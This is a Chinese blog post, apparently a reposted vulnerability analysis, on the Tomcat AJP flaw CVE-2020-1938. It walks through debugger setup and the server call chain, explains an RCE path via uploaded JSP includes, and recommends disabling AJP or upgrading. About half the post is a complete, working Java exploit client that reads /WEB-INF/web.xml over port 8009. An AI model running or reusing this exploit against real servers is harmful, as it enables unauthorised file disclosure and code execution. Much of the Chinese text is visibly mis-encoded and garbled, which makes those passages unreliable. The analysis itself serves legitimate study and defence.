溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

發(fā)布時(shí)間:2021-12-27 18:20:30 來(lái)源:億速云 閱讀:142 作者:柒染 欄目:安全技術(shù)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

環(huán)境搭建

這里使用的是tomcat8.0.52的測(cè)試環(huán)境,因?yàn)閠omcat默認(rèn)開(kāi)啟AJP協(xié)議,所以我們這邊只需要配置好tomcat的遠(yuǎn)程debug環(huán)境就行。

1、找到catalina.sh去定義一下遠(yuǎn)程調(diào)試端口,我這里就使用了默認(rèn)的5005端口。

  if [ -z "$JPDA_ADDRESS" ]; then
    JPDA_ADDRESS="localhost:5005"
  fi

2、以調(diào)試模式開(kāi)啟tomcat,這里不推薦直接改動(dòng)tomcat的默認(rèn)啟動(dòng)模式,否則以后都會(huì)默認(rèn)開(kāi)啟調(diào)試模式,因此推薦直接以調(diào)試模式開(kāi)啟tomcat。

sh catalina.sh jpda start

3、在idea的lib里導(dǎo)入tomcat的jar包,tomcat的jar都放在lib目錄下,直接把lib都導(dǎo)進(jìn)來(lái)就行。如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析接下來(lái)在idea里開(kāi)啟tomcat的遠(yuǎn)程調(diào)試環(huán)境就部署完成。

AJP(Apache JServ Protocol)是定向包協(xié)議。它的功能其實(shí)和HTTP協(xié)議相似,區(qū)別在于AJP協(xié)議使用的是二進(jìn)制格式傳輸文本,走的是TCP協(xié)議來(lái)SERVLET容器進(jìn)行通信,因此漏洞的利用就需要依賴于一個(gè)客戶端,而不能依賴于瀏覽器或是HTTP的抓包工具。

因?yàn)槭莏ava的漏洞,因此但從網(wǎng)上的py的poc很難看出AJP協(xié)議相關(guān)的很多東西,所以這里我們?cè)偃タ匆幌掠糜诎l(fā)送AJP消息的java的客戶端代碼。客戶端代碼引自0nise的GitHub。

目錄結(jié)構(gòu)如下,因?yàn)榇a需要依賴tomcat本身的AJP相關(guān)jar包,所以也要加入tomcat的lib,如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

file:TesterAjpMessage.java

package com.glassy.utility;

import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.coyote.ajp.AjpMessage;
import org.apache.coyote.ajp.Constants;
import org.apache.juli.logging.Log;
import org.apache.juli.logging.LogFactory;

public class TesterAjpMessage extends AjpMessage {
    private final Map<String, String> attribute = new LinkedHashMap();
    private final List<Header> headers = new ArrayList();
    private static final Log log = LogFactory.getLog(AjpMessage.class);

    private static class Header {
        private final int code;
        private final String name;
        private final String value;

        public Header(int code, String value) {
            this.code = code;
            this.name = null;
            this.value = value;
        }

        public Header(String name, String value) {
            this.code = 0;
            this.name = name;
            this.value = value;
        }

        public void append(TesterAjpMessage message) {
            if (this.code == 0) {
                message.appendString(this.name);
            } else {
                message.appendInt(this.code);
            }
            message.appendString(this.value);
        }
    }

    public TesterAjpMessage(int packetSize) {
        super(packetSize);
    }

    public byte[] raw() {
        return this.buf;
    }

    public void appendString(String str) {
        if (str == null) {
            log.error(sm.getString("ajpmessage.null"), new NullPointerException());
            this.appendInt(0);
            this.appendByte(0);
        } else {
            int len = str.length();
            this.appendInt(len);

            for(int i = 0; i < len; ++i) {
                char c = str.charAt(i);
                if (c <= 31 && c != '\t' || c == 127 || c > 255) {
                    c = ' ';
                }

                this.appendByte(c);
            }

            this.appendByte(0);
        }
    }

    public byte readByte() {
        byte[] bArr = this.buf;
        int i = this.pos;
        this.pos = i + 1;
        return bArr[i];
    }

    public int readInt() {
        byte[] bArr = this.buf;
        int i = this.pos;
        this.pos = i + 1;
        int val = (bArr[i] & 255) << 8;
        bArr = this.buf;
        i = this.pos;
        this.pos = i + 1;
        return val + (bArr[i] & 255);
    }

    public String readString() {
        return readString(readInt());
    }

    public String readString(int len) {
        StringBuilder buffer = new StringBuilder(len);
        for (int i = 0; i < len; i++) {
            byte[] bArr = this.buf;
            int i2 = this.pos;
            this.pos = i2 + 1;
            buffer.append((char) bArr[i2]);
        }
        readByte();
        return buffer.toString();
    }

    public String readHeaderName() {
        byte b = readByte();
        if ((b & 255) == 160) {
            return Constants.getResponseHeaderForCode(readByte());
        }
        return readString(((b & 255) << 8) + (getByte() & 255));
    }

    public void addHeader(int code, String value) {
        this.headers.add(new Header(code, value));
    }

    public void addHeader(String name, String value) {
        this.headers.add(new Header(name, value));
    }

    public void addAttribute(String name, String value) {
        this.attribute.put(name, value);
    }

    public void end() {
        appendInt(this.headers.size());
        for (Header header : this.headers) {
            header.append(this);
        }
        for (Entry<String, String> entry : this.attribute.entrySet()) {
            appendByte(10);
            appendString((String) entry.getKey());
            appendString((String) entry.getValue());
        }
        appendByte(255);
        this.len = this.pos;
        int dLen = this.len - 4;
        this.buf[0] = (byte) 18;
        this.buf[1] = (byte) 52;
        this.buf[2] = (byte) ((dLen >>> 8) & 255);
        this.buf[3] = (byte) (dLen & 255);
    }

    public void reset() {
        super.reset();
        this.headers.clear();
    }
}

這個(gè)TesterAjpMessage.java文件就是一個(gè)tomcat本身用來(lái)處理AJP協(xié)議信息的AjpMessage類的子類,因?yàn)锳jpMessage只支持發(fā)送bytes信息的緣故,代碼豐富了TesterAjpMessage子類,使我們?cè)跇?gòu)造客戶端的時(shí)候支持appendString以及對(duì)Header的相關(guān)操作,更加方便。

file:SimpleAjpClient.java

import java.io.IOException;
import java.io.InputStream;
import java.net.Socket;
import java.util.Arrays;
import javax.net.SocketFactory;

public class SimpleAjpClient {
    private static final byte[] AJP_CPING;
    private static final int AJP_PACKET_SIZE = 8192;
    private String host = "localhost";
    private int port = -1;
    private Socket socket = null;

    static {
        TesterAjpMessage ajpCping = new TesterAjpMessage(16);
        ajpCping.reset();
        ajpCping.appendByte(10);
        ajpCping.end();
        AJP_CPING = new byte[ajpCping.getLen()];
        System.arraycopy(ajpCping.getBuffer(), 0, AJP_CPING, 0, ajpCping.getLen());
    }

    public int getPort() {
        return this.port;
    }

    public void connect(String host, int port) throws IOException {
        this.host = host;
        this.port = port;
        this.socket = SocketFactory.getDefault().createSocket(host, port);
    }

    public void disconnect() throws IOException {
        this.socket.close();
        this.socket = null;
    }

    public TesterAjpMessage createForwardMessage(String url) {
        return createForwardMessage(url, 2);
    }

    public TesterAjpMessage createForwardMessage(String url, int method) {
        TesterAjpMessage message = new TesterAjpMessage(8192);
        message.reset();
        message.getBuffer()[0] = (byte) 18;
        message.getBuffer()[1] = (byte) 52;
        message.appendByte(2);
        message.appendByte(method);
        message.appendString("http");
        message.appendString(url);
        message.appendString("10.0.0.1");
        message.appendString("client.dev.local");
        message.appendString(this.host);
        message.appendInt(this.port);
        message.appendByte(0);
        return message;
    }

    public TesterAjpMessage createBodyMessage(byte[] data) {
        TesterAjpMessage message = new TesterAjpMessage(8192);
        message.reset();
        message.getBuffer()[0] = (byte) 18;
        message.getBuffer()[1] = (byte) 52;
        message.appendBytes(data, 0, data.length);
        message.end();
        return message;
    }

    public void sendMessage(TesterAjpMessage headers) throws IOException {
        sendMessage(headers, null);
    }

    public void sendMessage(TesterAjpMessage headers, TesterAjpMessage body) throws IOException {
        this.socket.getOutputStream().write(headers.getBuffer(), 0, headers.getLen());
        if (body != null) {
            this.socket.getOutputStream().write(body.getBuffer(), 0, body.getLen());
        }
    }

    public byte[] readMessage() throws IOException {
        InputStream is = this.socket.getInputStream();
        TesterAjpMessage message = new TesterAjpMessage(8192);
        byte[] buf = message.getBuffer();
        int headerLength = message.getHeaderLength();
        read(is, buf, 0, headerLength);
        int messageLength = message.processHeader(false);
        if (messageLength < 0) {
            throw new IOException("Invalid AJP message length");
        } else if (messageLength == 0) {
            return null;
        } else {
            if (messageLength > buf.length) {
                throw new IllegalArgumentException("Message too long [" + Integer.valueOf(messageLength) + "] for buffer length [" + Integer.valueOf(buf.length) + "]");
            }
            read(is, buf, headerLength, messageLength);
            return Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);
        }
    }

    protected boolean read(InputStream is, byte[] buf, int pos, int n) throws IOException {
        int read = 0;
        while (read < n) {
            int res = is.read(buf, read + pos, n - read);
            if (res > 0) {
                read += res;
            } else {
                throw new IOException("Read failed");
            }
        }
        return true;
    }
}

SimpleAjpClient便是發(fā)送AJP消息的客戶端代碼,支持服務(wù)端的連接與斷開(kāi),支持對(duì)AJP消息頭和消息體的構(gòu)造。

關(guān)于整個(gè)AJP消息的消息頭消息體怎么構(gòu)造,消息頭里面的code的值又是怎樣額對(duì)應(yīng)關(guān)系可以去參考AJP協(xié)議總結(jié)與分析

漏洞分析

先看一下發(fā)送的惡意AJP消息包是怎么構(gòu)造的,

file:Test.java

import com.glassy.utility.SimpleAjpClient;
import com.glassy.utility.TesterAjpMessage;

import java.io.IOException;
import javax.servlet.RequestDispatcher;

public class Test {
    public static void main(String[] args) throws IOException {
        SimpleAjpClient ac = new SimpleAjpClient();
        String host = "localhost";
        int port = 8009;
        String uri = "/aaa.jsp";
        String file = "/WEB-INF/web.xml";
        ac.connect(host, port);
        TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);
        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");
        forwardMessage.end();
        ac.sendMessage(forwardMessage);
        while (true) {
            byte[] responseBody = ac.readMessage();
            if (responseBody == null || responseBody.length == 0) {
                ac.disconnect();
            } else {
                System.out.print(new String(responseBody));
            }
        }
    }
}

從構(gòu)造的AJP消息包里可以看到,關(guān)于AJPMessage的核心內(nèi)容有host、port、INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH,我們暫且在這里記下來(lái),等我們打上斷點(diǎn)的時(shí)候再去服務(wù)端看一看這些東西都是干什么的。

這個(gè)時(shí)候該開(kāi)始思考動(dòng)態(tài)調(diào)試的問(wèn)題了,不同于以往的rce漏洞(統(tǒng)一往ProcessBuilder的start函數(shù)上打),關(guān)于斷點(diǎn)往哪打就成了第一個(gè)關(guān)鍵的問(wèn)題,我這邊的處理方式是因?yàn)榭蛻舳舜a里面使用了AjpMessage類,所以我就去看了一下這個(gè)類所在的jar包,果然就找到了tomcat的lib里負(fù)責(zé)處理AJP協(xié)議的類,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

這些類看名字差不多就能想到去看一看幾個(gè)Processor,漏洞的觸發(fā)一定經(jīng)過(guò)其中的一個(gè),按照第一眼的直覺(jué)直接去看AjpProcessor,看到AjpProcessor類里面沒(méi)有找到我們想要的東西,但是它有一個(gè)父類很值得注意,然后我去剩下的幾個(gè)Processor,發(fā)現(xiàn)父類都是AbstractAjpProcessor,所以我就去看了一下這個(gè)類的代碼,最終決定把斷點(diǎn)打在了AbstractAjpProcessor類的process方法上,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

跑一下客戶端,果然處理AJP協(xié)議要經(jīng)過(guò)這個(gè)方法,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

在AbstractAjpProcessor類的process方法中this.prepareRequest()方法是要去關(guān)注一下的,這里面對(duì)request做了一些處理,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

我們?nèi)タ匆幌逻@個(gè)方法的代碼,首先回顧一下TesterAjpMessage.java代碼里的一處細(xì)節(jié),method的值,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

這prepareRequest種我們就拿到了這個(gè)值,并把request的method定義成了GET,這也和后面要交給Servlet的doGet方法有關(guān)系

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

緊接著進(jìn)入一個(gè)swith循環(huán)中給request定義了ADDR、PORT、PROTOCOL,之前在客戶端設(shè)置的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH也放到了request.include中,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

接著就將request和response交給了CoyoteAdapter類來(lái)處理,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

接下來(lái)就是一系列的反射,最終交給了JspServlet來(lái)處理這個(gè)請(qǐng)求,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

在JspServlet的service方法中就看到了我們之前在利用代碼里面定義的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH開(kāi)始被用到了,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

接下來(lái)的操作便是把jspUri交給了getResource去讀取文件內(nèi)容

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

在調(diào)用StandardRoot的getResource方法的時(shí)候會(huì)去調(diào)用validate方法對(duì)path進(jìn)行檢測(cè)

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

其中RequestUtil.normalize用于目錄遍歷的檢測(cè),所以我們是不能構(gòu)造../模式的path的,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

接下來(lái)就會(huì)造成文件讀取了,總體的調(diào)用棧如下,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

關(guān)于當(dāng)存在任意文件上傳的時(shí)候可以造成RCE的原理也是很簡(jiǎn)單的,我們看一下上面的調(diào)用棧,可以發(fā)現(xiàn)當(dāng)我們讀取了文件之后是交給了jspServlet去處理的,自然我們上傳了jsp文件再通過(guò)該方法去讀取文件內(nèi)容的同時(shí)jspServlet也會(huì)去執(zhí)行這個(gè)文件,利用jsp的<%@ include file="demo.txt" %>去做文件包含從而造成RCE。

這里有一個(gè)很重要的點(diǎn)要回過(guò)來(lái)提一下,這里面我為了順便講解RCE的原理,所以我在定義Test.java中的uri變量的時(shí)候,給他賦值是xxx.jsp的形式,所以最好AJPProcessor最后是把Message交給了JspServlet來(lái)處理這個(gè)消息,其實(shí)這個(gè)漏洞還有第二條利用鏈,將uri定為xxx.xxx的形式,這樣我們的AJPMessage是會(huì)交給DefaultServlet來(lái)處理的,但其實(shí)后面的流程是和前面區(qū)別不大的,就不再細(xì)說(shuō),

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

補(bǔ)充一下走DefaultServlet利用的調(diào)用棧,

如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析

修復(fù)建議

我這個(gè)漏洞的分析出的比較晚,相信修復(fù)方法大家也都知道了,我就順便一提:

1、關(guān)閉AJP協(xié)議。

2、升級(jí)tomcat。

上述就是小編為大家分享的如何實(shí)現(xiàn)Apache AJP協(xié)議CVE-2020-1938漏洞分析了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI